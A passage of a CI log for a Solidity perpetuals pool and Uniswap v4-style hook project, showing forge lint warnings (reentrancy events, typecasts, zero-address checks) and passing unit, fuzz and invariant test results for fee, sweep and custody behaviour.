https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:141:21\n    │\n141 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:146:9\n    │\n146 │         emit LiquidityRemoved(liq, eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:141:67\n    │\n141 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:179:63\n    │\n179 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:179:44\n    │\n179 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                            ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:162:23\n    │\n162 │         if (eth != 0) SafeTransferLib.safeTransferETH(ethTo, eth);\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:220:9\n    │\n220 │         emit PerpFeeSet(bps);\n    │         ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:154:9\n    │\n154 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:225:28\n    │\n225 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:227:9\n    │\n227 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:163:9\n    │\n163 │         emit IdleSwept(eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:232:9\n    │\n232 │         emit SweepFailOpenSet(on);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:239:9\n    │\n239 │         emit BandSet(maxDeviationBps_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:249:9\n    │\n249 │         emit FeeExemptSet(caller, exempt);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:256:9\n    │\n256 │         emit FeeAddressUpdated(feeAddress_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:173:9\n    │\n173 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:187:9\n    │\n187 │         emit Opened(sqrtPriceX96, ethIn, tokensIn, liq);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:181:9\n    │\n181 │         poolManager.initialize(poolKey(), sqrtPriceX96);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:201:32\n    │\n201 │         if (msg.value > ethIn) SafeTransferLib.safeTransferETH(refundTo, msg.value - ethIn);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:203:9\n    │\n203 │         emit LiquidityAdded(msg.sender, liq, ethIn, tokensIn);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:222:9\n    │\n222 │         emit Compounded(liq, ethIn, tokensIn); // what the price could not pair stays here for next time\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:235:9\n    │\n235 │         IFeeSink(sink).addFees{value: msg.value}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:236:9\n    │\n236 │         emit FeesForwarded(msg.value);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:265:9\n    │\n265 │         emit FeeAddressRenounced(msg.sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpHook.sol:276:32\n    │\n276 │         if (toFeeAddress != 0) SafeTransferLib.safeTransferETH(feeAddress, toFeeAddress);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:277:9\n    │\n277 │         emit FeesFlushed(amount - toFeeAddress, toFeeAddress);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:255:21\n    │\n255 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:255:47\n    │\n255 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                               ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:255:55\n    │\n255 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                                       ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:256:73\n    │\n256 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:256:81\n    │\n256 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                                 ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:259:71\n    │\n259 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                       ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:259:79\n    │\n259 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:260:13\n    │\n260 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:262:60\n    │\n262 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                            ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:262:68\n    │\n262 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                                    ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/IMD6900PerpHook.sol:467:43\n    │\n467 │               (bool ok, bytes memory out) = engine.call{gas: g - reserve}(\n    │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n468 │ ┃                 abi.encodeCall(IPerpSweep.sweepLiquidations, (tx.origin, spec, isBuy, limit))\n469 │ ┃             );\n    │ ┗━━━━━━━━━━━━━┛\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:289:60\n    │\n289 │         return l > type(uint128).max ? type(uint128).max : uint128(l);\n    │                                                            ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:24\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                        ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:32\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:47\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:55\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":2957,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFlow.fork.t.sol:RobinhoodFlowForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 326.65µs (0.00ns CPU time)\n\nRan 2 tests for test/PonsReference.t.sol:NestedSweepBandTest\n[PASS] test_PostLiquidationCanMovePriceWithoutRollingBackAnAdmissibleTrade() (gas: 942525)\n[PASS] test_PostLiquidationCannotHideAnOutOfBandTraderPush() (gas: 932775)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 11.83ms (617.41µs CPU time)\n\nRan 7 tests for test/IMD6900Perps.t.sol:IMD6900PerpsTest\n[PASS] test_AnyoneDeepensIt() (gas: 273141)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231731)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 405772)\n[PASS] test_OpensAtThePrice() (gas: 53432)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11135)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 185312)\n[PASS] test_TradesBothWays() (gas: 409054)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 16.83ms (1.01ms CPU time)\n\nRan 6 tests for test/AuditFixes.t.sol:AuditFixesTest\n[PASS] test_Fix_AdminGuards() (gas: 213420)\n[PASS] test_Fix_AnAdditionLeavesTheEarnedFeesInThePool() (gas: 2005629)\n[PASS] test_Fix_CompoundOnlyAtThePonsPrice() (gas: 390799)\n[PASS] test_Fix_LowGasSweepFailsClosed() (gas: 579858)\n[PASS] test_Fix_NoCrossingThroughPons() (gas: 468990)\n[PASS] test_Fix_UnreadablePonsLeavesTradingOpen() (gas: 448762)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 38.17ms (19.21ms CPU time)\n\nRan 8 tests for test/HookFailurePaths.t.sol:HookFeeFailureTest\n[PASS] testFuzz_StrayETHSplitConservesEveryWei(uint96) (runs: 1000, μ: 86414, ~: 87314)\n[PASS] test_AllMutableHookAndPoolSettingsRequireOwner() (gas: 267877)\n[PASS] test_EmptyFlushIsIdempotent() (gas: 180260)\n[PASS] test_FeeRecipientCanRenounceAndNobodyCanRestoreItsShare() (gas: 217340)\n[PASS] test_FeeRoundingAtZeroOneThirtyThreeAndThirtyFourWei() (gas: 161923)\n[PASS] test_RejectedFeeRecipientRollsBackTheEarlierLauncherTransfer() (gas: 264652)\n[PASS] test_SinkFailureIsAtomicAndRemovingSinkRestoresForwarding() (gas: 388908)\n[PASS] test_StaticFeeAboveOneHundredPercentRejectsEntireLaunch() (gas: 6491)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 50.78ms (43.96ms CPU time)\n\nRan 6 tests for test/HookFailurePaths.t.sol:HookCallbackFailureTest\n[PASS] testFuzz_LiquidityCallbacksRequireBothFullRangeEndpoints(int24,int24) (runs: 1000, μ: 71953, ~: 71555)\n[PASS] test_CallbacksPreserveStaticFeeAndZeroReturnDeltas() (gas: 149549)\n[PASS] test_EveryEnabledCallbackAuthenticatesPoolManager() (gas: 149669)\n[PASS] test_FullRangeWithdrawalCallbackDoesNotConsultPriceOrEngine() (gas: 755735)\n[PASS] test_InitializationCannotBeReplayedAndSwapCannotUseAnotherMarket() (gas: 77761)\n[PASS] test_OnlyPoolMayInitializeOrModifyEitherSideOfLiquidity() (gas: 95574)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 51.93ms (41.23ms CPU time)\n\nRan 8 tests for test/HookFailurePaths.t.sol:HookSweepFailureTest\n[PASS] testFuzz_UnknownNonzeroSweepStatusCannotAdmitATrade(uint8) (runs: 1000, μ: 281333, ~: 281316)\nLogs:\n  Bound result 235\n\n[PASS] test_EngineOwnSwapsBypassSweepButBandExemptionDoesNot() (gas: 465577)\n[PASS] test_FailOpenCannotOverrideKnownUnsafeSweepStatuses() (gas: 533521)\n[PASS] test_LowGasCannotSkipKnownOpenPositionsEvenWithFailOpen() (gas: 436645)\n[PASS] test_PostSweepIsBestEffortButPreSweepStillRuns() (gas: 395574)\n[PASS] test_PreSweepStatusesFailClosedAndRollBackTheTrade() (gas: 713250)\n[PASS] test_RevertingAndShortEngineResponsesRequireExplicitFailOpen() (gas: 768651)\n[PASS] test_SweepReceivesTradeAndLiquidatorBeforeAndAfterSettlement() (gas: 380982)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 211.34ms (93.60ms CPU time)\n\nRan 7 tests for test/PoolFailurePaths.t.sol:PoolOpeningFailureTest\n[PASS] testFuzz_OpeningRoundTripAtDifferentPrices(int24,uint256) (runs: 1000, μ: 687059, ~: 687091)\nLogs:\n  Bound result 0\n  Bound result 506585418634374382432\n\n[PASS] testFuzz_OpeningThenClosingNeverCreatesAssets(uint256,uint256) (runs: 1000, μ: 732688, ~: 734695)\nLogs:\n  Bound result 390690018\n  Bound result 235069339569540382922\n\n[PASS] test_OpeningAtFullRangeBoundariesRollsBackInitialization() (gas: 1093329)\n[PASS] test_OpeningRequiresHookAndNonzeroAssets() (gas: 240878)\n[PASS] test_OpeningWithFailedTransferFromIsRetryable() (gas: 753679)\n[PASS] test_UnopenedPublicFlowsReject() (gas: 132573)\n[PASS] test_ZeroAndOneWeiOpeningAreAtomic() (gas: 1643538)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 211.40ms (415.96ms CPU time)\n\nRan 15 tests for test/LaunchAuditFixes.t.sol:LaunchAuditFixesTest\n[PASS] testFuzz_FeeModelCannotDrift(uint256) (runs: 256, μ: 55078, ~: 55015)\n[PASS] testFuzz_SweepOnlyRecoversIdleBalances(uint96,uint112) (runs: 256, μ: 214434, ~: 215616)\n[PASS] test_ExemptAndEngineSwapsPayTheSameFee() (gas: 1097758)\n[PASS] test_FeeForwardingKeepsTheExistingSplitAndRenunciation() (gas: 132542)\n[PASS] test_FeeModelCompatibilitySettersRemainOwnerOnly() (gas: 74259)\n[PASS] test_FeeModelDerivesFromConstructorRate() (gas: 137203)\n[PASS] test_FeeModelMatchesStaticFeeAtLaunch() (gas: 46810)\n[PASS] test_IdleBalancesRecoverAfterMigrationOffPons() (gas: 830425)\n[PASS] test_OwnerCanAlwaysRemoveAllLiquidityDespiteBrokenEngine() (gas: 1076187)\n[PASS] test_SpotReferenceCanMoveWithinTheTransaction() (gas: 473859)\n[PASS] test_SweepBeforeOpeningAndWithOnlyOneAsset() (gas: 229734)\n[PASS] test_SweepRejectsFailedTokenTransfer() (gas: 102332)\n[PASS] test_SweepRejectsReentrancyByOwnerRecipient() (gas: 468276)\n[PASS] test_SweepRequiresOwnerAndNonzeroRecipients() (gas: 149723)\n[PASS] test_SweepRollsBackIfRecipientRejectsETH() (gas: 307721)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 213.25ms (291.29ms CPU time)\n\nRan 7 tests for test/PonsReference.t.sol:PonsReferenceTest\n[PASS] testFuzz_ReserveRatioIsScaleInvariant(uint64,uint64,uint32) (runs: 1000, μ: 139334, ~: 139717)\nLogs:\n  Bound result 658927161264414676\n  Bound result 414658273819327622\n  Bound result 14233\n\n[PASS] test_BrokenBondingReserveReadAndEmptyReserveReturnNoReference() (gas: 513850)\n[PASS] test_CompoundAcceptsExactOnePercentButRejectsTheNextBasisPoint() (gas: 453791)\n[PASS] test_FailedGraduatedMetadataReadDoesNotHaltSpotTrading() (gas: 513207)\n[PASS] test_GraduatedPriceEnforcesBandInsteadOfSwitchingItOff() (gas: 778618)\n[PASS] test_GraduationReplacesRetiredReservesWithActualV4Price() (gas: 322386)\n[PASS] test_MissingPhaseMetadataAndUninitializedReferenceDisableBandSafely() (gas: 449274)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 213.25ms (207.00ms CPU time)\n\nRan 6 tests for test/IMD6900PerpsLaunch.t.sol:IMD6900PerpsLaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 9761192)\n[PASS] test_EachDeployerMinesItsOwnSalt() (gas: 24135659)\n[PASS] test_FitsOneTransaction() (gas: 14670291)\nLogs:\n  launch gas (mining and intrinsic gas included): 9777411\n  hook salt: 41352\n\n[PASS] test_InsufficientGasCannotDeploy() (gas: 179987)\n[PASS] test_PassesTheAdmissionScan() (gas: 18293050)\n[PASS] test_RefusesADynamicFee() (gas: 4302)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 226.01ms (152.13ms CPU time)\n\nRan 13 tests for test/PoolFailurePaths.t.sol:PoolFailurePathsTest\n[PASS] testFuzz_RefundsGoToChosenRecipientAndDoNotSpendIdleFunds(uint256,uint256) (runs: 1000, μ: 364432, ~: 364456)\nLogs:\n  Bound result 12881243202382358020\n  Bound result 61081154066386728706\n\n[PASS] testFuzz_RepeatedLiquidityRoundTripsCannotExtractRounding(uint256,uint8) (runs: 1000, μ: 1897901, ~: 1409824)\nLogs:\n  Bound result 58497312454842319462\n  Bound result 3\n\n[PASS] test_AddingLessThanAccruedFeesRetainsBothCurrenciesForThePool() (gas: 732376)\n[PASS] test_CompoundMinimaAndMissingPairLeaveAllAssetsIntact() (gas: 709725)\n[PASS] test_ExactOutputTradesSettleInBothDirections() (gas: 424147)\n[PASS] test_FailedTokenPayoutAlsoRollsBackEarlierETHPayout() (gas: 475091)\n[PASS] test_HealthIsCheckedAfterRemovalForEveryPositionAndFailureIsAtomic() (gas: 853439)\n[PASS] test_OwnerCannotReopenOrReplaceHook() (gas: 226241)\n[PASS] test_RefundFailureRollsBackAnAdditionIncludingTokenPull() (gas: 414279)\n[PASS] test_UnlockCallbackRejectsSpoofingBeforeDecoding() (gas: 204168)\n[PASS] test_WithdrawalRejectsReentrancyEvenFromOwner() (gas: 547008)\n[PASS] test_WithdrawalToRejectingReceiverRollsBackAndCanRetry() (gas: 574940)\n[PASS] test_ZeroOneAndExcessLiquidityCannotMoveFunds() (gas: 367234)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 226.11ms (446.08ms CPU time)\n\nRan 2 tests for test/PerpsCustody.invariant.t.sol:PerpsCustodyInvariantTest\n[PASS]\nPerpsCustodyInvariantTest invariants:\n[PASS] invariant_AllLiquidityBelongsToThePoolsFullRangePosition\n[PASS] invariant_CustodyAndIrreversibleFeeRenunciationHold\n[PASS] invariant_ExternalFlowsAccountForEveryProtocolAsset\n PerpsCustodyInvariantTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭---------------------+----------------+-------+---------+----------╮\n| Contract            | Selector       | Calls | Reverts | Discards |\n+===================================================================+\n| PerpsCustodyHandler | add            | 1506  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | compound       | 1485  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | configureFees  | 1511  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | directPoolFees | 1491  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | donate         | 1541  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | flush          | 1413  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | sendHookFees   | 1518  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | swap           | 1512  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | sweepIdle      | 1485  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | unauthorized   | 1484  | 0       | 0        |\n|---------------------+----------------+-------+---------+----------|\n| PerpsCustodyHandler | withdraw       | 1438  | 0       | 0        |\n╰---------------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 78959934914730427\n  Bound result 8797600492\n  Bound result 354889431359506973\n  Bound result 13644569161276239\n  Bound result 99999999999999999\n  Bound result 400000\n  Bound result 7211\n  Bound result 999999999999999992\n  Bound result 146532209482346276\n  Bound result 375906716111495049\n  Bound result 11468\n  Bound result 6261\n  Bound result 5\n  Bound result 4279553913522167\n  Bound result 92240510829748332\n  